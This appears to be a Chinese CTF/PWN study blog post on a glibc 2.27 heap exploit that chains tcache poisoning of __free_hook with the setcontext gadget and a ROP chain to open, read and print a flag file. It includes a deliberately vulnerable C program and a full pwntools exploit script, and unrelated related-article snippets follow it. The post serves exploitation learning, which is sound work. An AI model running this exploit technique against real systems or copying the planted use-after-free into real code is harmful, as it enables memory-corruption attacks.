【我的 PWN 学习手札】setcontext + ROP

堆上的setcontext利用系列还有:

【我的 PWN 学习手札】setcontext + shellcode-CSDN博客

目录

前言

一、setcontext gadget

二、setcontext + ROP

(一)setcontext设置寄存器

(二)ROP链布置 

三、图示  

四、模板与测试 

(一)pwn.c

(二)exp.py 

(三)过程调试 

1.free时触发调用__free_hook,跳转执行setcontext gadget

2.setcontext gadget执行完,寄存器的值已经被设置好,接下来进行open("./flag")

3.open("./flag")执行完毕,从rsp寻找返回值,进入ROP链

4.ROP——read(3,buf,0x20)

5.ROP——puts(buf) 

6.效果


前言

setcontext的gadget能够“恢复上下文”,即设置寄存器的值。除了可以利用其执行shellcode,还可以实现ROP来getshell。本篇介绍了利用setcontext+ROP的方法,ORW地打印flag信息。 


一、setcontext gadget

详见【我的 PWN 学习手札】setcontext + shellcode-CSDN博客

二、setcontext + ROP

这一次还是先给出示例的EXP代码,然后分析代码执行流。


### tcache poisoning
add(0,0x3f8)
delete(0)
edit(0,0x8,p64(libc.sym['__free_hook']))
add(0,0x3f8)
add(1,0x3f8) # __free_hook
add(2,0x50)
### setcontext+roppayload=b''
payload+=p64(libc.sym['setcontext']+53)
# read(3,__free_hook+0x108,0x20)
payload+=p64(libc.search(asm('pop rdi;ret')).__next__())
payload+=p64(3)
payload+=p64(libc.search(asm('pop rsi;ret')).__next__())
payload+=p64(libc.sym['__free_hook']+0x108)
payload+=p64(libc.search(asm('pop rdx;ret')).__next__())
payload+=p64(0x20)
payload+=p64(libc.sym['read'])
# puts(__free_hook+0x108)
payload+=p64(libc.search(asm('pop rdi;ret')).__next__())
payload+=p64(libc.sym['__free_hook']+0x108)
payload+=p64(libc.sym['puts'])
payload=payload.ljust(0x100,b'\x00')
payload+=b'./flag\x00'
edit(1,len(payload),payload)frame=SigreturnFrame()
# open('./flag')
frame.rdi=libc.sym['__free_hook']+0x100
frame.rsi=0
frame.rdx=0
frame.rip=libc.sym['open']
frame.rsp=libc.sym['__free_hook']+0x8edit(2,len(frame.__bytes__()),frame.__bytes__())
delete(2)

假定读者已经阅读过前文setcontext + shellcode,或者本身就对setcontext+53处的gadget有一定的了解。 为不冗余赘述,直接进行利用setcontext进行ORW ROP的执行流介绍。

(一)setcontext设置寄存器

我们可以利用setcontext的gadget来实现对除了rax的所有寄存器赋值。因此

  • rdi=add_of_str_"./flag"
  • rip=add_of_func_open

这样至少能够执行一次open,打开了"./flag"文件。然后程序会从rsp寻找返回地址并跳转。然而执行完后我们希望能够ROP,所以rsp也是需要赋值的,并期望它能够指向ROP链。很自然的,我们对__free_hook附近分配的fake chunk具有写权限(这也是我们能够触发setcontext的原因,不熟悉的读者可以看前一篇博客),所以我们可以把ROP链布置到这里。

  • rsp=add_of_ROP_begin

(二)ROP链布置 

注意,利用gadget setcontext+53已经实现了open,接下来是read的ROP链的布置。在编辑__free_hook时,可以把ROP链不知道其后面。再在setcontext gadget中将rsp指向ROP起始处。

__free_hook | addr(pop_rdi;ret;) | 3 | addr(pop_rsi;ret) |  buf_addr | addr(pop_rdx;ret) | 0x20 | addr(read) | addr(pop_rdi;ret;) | buf_addr | addr(puts)

注意,在open时还需要字符串"./flag",也可以在相对__free_hook固定偏移的位置写入。

三、图示  

利用上述过程完成open("./flag") 

利用上述过程完成read(3,buf,0x20)+puts(buf) 

四、模板与测试 

(一)pwn.c

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>char *chunk_list[0x100];void menu() {puts("1. add chunk");puts("2. delete chunk");puts("3. edit chunk");puts("4. show chunk");puts("5. exit");puts("choice:");
}int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf);
}void add_chunk() {puts("index:");int index = get_num();puts("size:");int size = get_num();chunk_list[index] = malloc(size);
}void delete_chunk() {puts("index:");int index = get_num();free(chunk_list[index]);
}void edit_chunk() {puts("index:");int index = get_num();puts("length:");int length = get_num();puts("content:");read(0, chunk_list[index], length);
}void show_chunk() {puts("index:");int index = get_num();puts(chunk_list[index]);
}int main() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);while (1) {menu();switch (get_num()) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:exit(0);default:puts("invalid choice.");}}
}

(二)exp.py 

from pwn import *
elf=ELF('./pwn')
libc=ELF('/home/hacker/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so')
context.arch=elf.arch
context.log_level='debug'io=process('./pwn')
def add(index,size):io.sendlineafter(b'choice:\n',b'1')io.sendlineafter(b'index:\n',str(index).encode())io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):io.sendlineafter(b'choice:\n',b'2')io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):io.sendlineafter(b'choice:\n',b'3')io.sendlineafter(b'index',str(index).encode())io.sendlineafter(b'length:\n',str(length).encode())io.sendafter(b'content:\n',content)
def show(index):io.sendlineafter(b'choice:\n',b'4')io.sendlineafter(b'index:\n',str(index).encode())gdb.attach(io)### leak libc
add(0,0x410)
add(1,0x10)
delete(0)
show(0)
libc.address=u64(io.recv(6).ljust(8,b'\x00'))-0x3ebca0
success('libc base:'+hex(libc.address))### tcache poisoning
add(0,0x3f8)
delete(0)
edit(0,0x8,p64(libc.sym['__free_hook']))
add(0,0x3f8)
add(1,0x3f8) # __free_hook
add(2,0x50)
### setcontext+roppayload=b''
payload+=p64(libc.sym['setcontext']+53)
# read(3,__free_hook+0x108,0x20)
payload+=p64(libc.search(asm('pop rdi;ret')).__next__())
payload+=p64(3)
payload+=p64(libc.search(asm('pop rsi;ret')).__next__())
payload+=p64(libc.sym['__free_hook']+0x108)
payload+=p64(libc.search(asm('pop rdx;ret')).__next__())
payload+=p64(0x20)
payload+=p64(libc.sym['read'])
# puts(__free_hook+0x108)
payload+=p64(libc.search(asm('pop rdi;ret')).__next__())
payload+=p64(libc.sym['__free_hook']+0x108)
payload+=p64(libc.sym['puts'])
payload=payload.ljust(0x100,b'\x00')
payload+=b'./flag\x00'
edit(1,len(payload),payload)frame=SigreturnFrame()
# open('./flag')
frame.rdi=libc.sym['__free_hook']+0x100
frame.rsi=0
frame.rdx=0
frame.rip=libc.sym['open']
frame.rsp=libc.sym['__free_hook']+0x8edit(2,len(frame.__bytes__()),frame.__bytes__())
pause()
delete(2)io.interactive()

(三)过程调试 

1.free时触发调用__free_hook,跳转执行setcontext gadget

2.setcontext gadget执行完,寄存器的值已经被设置好,接下来进行open("./flag")

3.open("./flag")执行完毕,从rsp寻找返回值,进入ROP链

4.ROP——read(3,buf,0x20)

5.ROP——puts(buf) 

6.效果

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/58399.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【算法】Kruskal最小生成树算法

目录 一、最小生成树 二、Kruskal算法求最小生成树 三、代码 一、最小生成树 什么是最小生成树&#xff1f; 对于一个n个节点的带权图&#xff0c;从中选出n-1条边&#xff08;保持每个节点的联通&#xff09;构成一棵树&#xff08;不能带环&#xff09;&#xff0c;使得…

信号完整性SI总结【小登培训】

信号完整性问题的根源通常在于阻抗不匹配、串扰、时序误差、电磁辐射和电源噪声。解决这些问题需要从PCB设计、布线、材料选择、匹配和屏蔽等多个方面综合考虑&#xff0c;并结合眼图分析等工具进行调试和优化。确保信号完整性对于高速电路设计尤为重要&#xff0c;影响系统的可…

【蓝桥杯选拔赛真题78】python电话号码 第十五届青少年组蓝桥杯python选拔赛真题 算法思维真题解析

目录 python电话号码 一、题目要求 1、编程实现 2、输入输出 二、算法分析 三、程序编写 四、程序说明 五、运行结果 六、考点分析 七、 推荐资料 1、蓝桥杯比赛 2、考级资料 3、其它资料 python电话号码 第十五届蓝桥杯青少年组python比赛选拔赛真题 一、题目要…

2022NOIP练习总结

种花 1.本题是一道前缀和优化加上枚举的问题。先考虑 C 因为 F 是 C 下边随便加一个点&#xff0c;所以只要求出 C 就求出了 F 。 注意到&#xff0c;并没有要求上下行一样&#xff0c;唯一的要求是 C 的两个横要隔一行&#xff0c;这就是问题的突破点&#xff0c;这题很明显…

【Spring Boot】元注解

元注解 1.元注解1.1 Target1.2 Retention1.3 Inherited1.4 Documented1.5 interface 2.自定义注解2.1 创建自定义注解类2.2 实现业务逻辑2.3 使用自定义注解 1.元注解 元注解就是定义注解的注解&#xff0c;是 Java 提供的用于定义注解的基本注解。 注解 说明 Retention是注解…

高速定向广播声光预警系统赋能高速安全管控

近年来&#xff0c;高速重大交通事故屡见不鲜&#xff0c;安全管控一直是高速运营的重中之重。如何利用现代化技术和信息化手段&#xff0c;创新、智能、高效的压降交通事故的发生概率&#xff0c;优化交通安全管控质量&#xff0c;是近年来交管部门的主要工作&#xff0c;也是…

Cmake Error:could not find any instance of Visual Studio.

出现以下错误 解决方案&#xff1a; 安装visual stuido 2017。 检查是否安装“使用C的桌面开发” 检查是否安装了扩展开发 点开“单个组件”是否安装了以下组件 编辑计算机环境变量&#xff0c;

如何在macOS开发中给 PKG 签名和公证(productsign+notarytool)

在macOS中&#xff0c;给PKG文件进行签名是一个确保用户能够顺利无警告地安装软件的重要步骤。以下是给PKG签名的详细步骤&#xff1a; 一、准备阶段 获取开发者账号和证书&#xff1a; 首先&#xff0c;需要在苹果开发者网站&#xff08;Apple Developer&#xff09;注册一个…

EtherNet转Profinet主站网关以太网总线协议转换模块一文即可搞懂

稳联技术(WL-ABC2006)EtherNet/IP转Profinet网关是一种工业网络设备&#xff0c;它能够实现两种不同工业以太网协议之间的数据交换和通信。这种网关在工业自动化领域中非常重要&#xff0c;因为它允许不同品牌和协议的设备之间进行互联互通&#xff0c;从而提高了系统的灵活性和…

计算机网络:网络层 —— IPv4 协议的表示方法及其编址方法

文章目录 IPv4IPv4的表示方法IPv4的编址方法分类编址A类地址B类地址C类地址可指派的地址数量一般不使用的特殊IPv4地址 划分子网编址子网掩码默认子网掩码 无分类编址方法地址掩码斜线记法无分类域间路由选择 CIDR IPv4 IPv4&#xff08;Internet Protocol version 4&#xff…

rtp协议:rtcp包发送和接收规则和报告!

RTCP Packet Send and Receive Rules&#xff1a; 发送和接收 RTCP 包的规则在此列出。允许在多播环境或多点单播环境中运行的实现必须满足第 6.2 节中的要求。这样的实现可以使用本节定义的算法来满足这些要求&#xff0c;或者可以使用其他算法&#xff0c;只要其性能等同或更…

详细解读 CVPR2024:VideoBooth: Diffusion-based Video Generation with Image Prompts

Diffusion Models专栏文章汇总:入门与实战 前言:今天是程序员节,先祝大家节日快乐!文本驱动的视频生成正在迅速取得进展。然而,仅仅使用文本提示并不足以准确反映用户意图,特别是对于定制内容的创建。个性化图片领域已经非常成功了,但是在视频个性化领域才刚刚起步,这篇…

在Excel中如何快速筛选非特定颜色

Excel中的自动筛选是个非常强大的工具&#xff0c;不仅可以筛选内容&#xff0c;而且可以筛选颜色&#xff0c;例如筛选A列红色单元格。但是有时希望筛选除了红色之外的单元格&#xff08;下图右侧所示&#xff09;&#xff0c;其他单元格的填充色不固定&#xff0c;有几种颜色…

什么是元件符号什么是封装

话不多说直接上图 左上角就可以理解为元件的符号&#xff0c;右上角可以理解为元件的封装&#xff0c;右下角是封装得3D图&#xff0c;左下角是真实的芯片。 同时注意我们元件符号的小孔&#xff0c;在封装和焊接时我们可以参照小孔的位置以及对应的引脚。如下图所示&#xff…

网站保护神器,雷池社区版的隐藏文件

SafeLine&#xff0c;中文名 “雷池”&#xff0c;是一款简单好用, 效果突出的 Web 应用防火墙(WAF)&#xff0c;可以保护 Web 服务不受黑客攻击。 雷池通过过滤和监控 Web 应用与互联网之间的 HTTP 流量来保护 Web 服务。可以保护 Web 服务免受 SQL 注入、XSS、 代码注入、命…

2024双十一值得入手的好物推荐,双十一必买好物清单详细攻略分享

随着双十一购物狂欢节的临近&#xff0c;广大消费者又开始了一年一度的购物盛宴&#xff0c;在这个全民狂欢的时刻&#xff0c;如何在众多商品中挑选出真正值得入手的好物&#xff0c;成为了许多人的难题。为了帮助大家在这个双十一期间理性消费&#xff0c;挑选到真正适合自己…

AI图片生成3D物体和2D视频提取3D动画

包括AI图片生成3D物体的网站&#xff1a; 第一个为Artefacts.AIhttps://app.artefacts.ai/starter 第二个为 https://3d.csm.ai/ 以下4个的视频教程连接https://www.youtube.com/watch?vmQQCyzTA_F8 第三个为Tripo AI: Tripo AI for Web 第四个为Meshy AI: Meshy - Free …

驾校管理系统|基于java和小程序的驾校管理系统设计与实现(源码+数据库+文档)

驾校管理系统平台 目录 基于java和小程序的驾校管理系统设计与实现 一、前言 二、系统设计 三、系统功能设计 四、数据库设计 五、核心代码 六、论文参考 七、最新计算机毕设选题推荐 八、源码获取&#xff1a; 博主介绍&#xff1a;✌️大厂码农|毕设布道师&#…

江协科技STM32学习- P23 DMA 直接存储器存取

&#x1f680;write in front&#x1f680; &#x1f50e;大家好&#xff0c;我是黄桃罐头&#xff0c;希望你看完之后&#xff0c;能对你有所帮助&#xff0c;不足请指正&#xff01;共同学习交流 &#x1f381;欢迎各位→点赞&#x1f44d; 收藏⭐️ 留言&#x1f4dd;​…

数据结构与算法(二叉树)

树 树的概念与结构 1. 树是⼀种非线性的数据结构&#xff0c;它是由 n 个有限结点组成的⼀个具有层次关系的集合。 2. 之所以把它叫做树&#xff0c;是因为它看起来像⼀棵倒挂的树&#xff0c;也就是说它是根朝上&#xff0c;而叶朝下。 2. 有⼀个特殊的结点&#xff0c;称为根…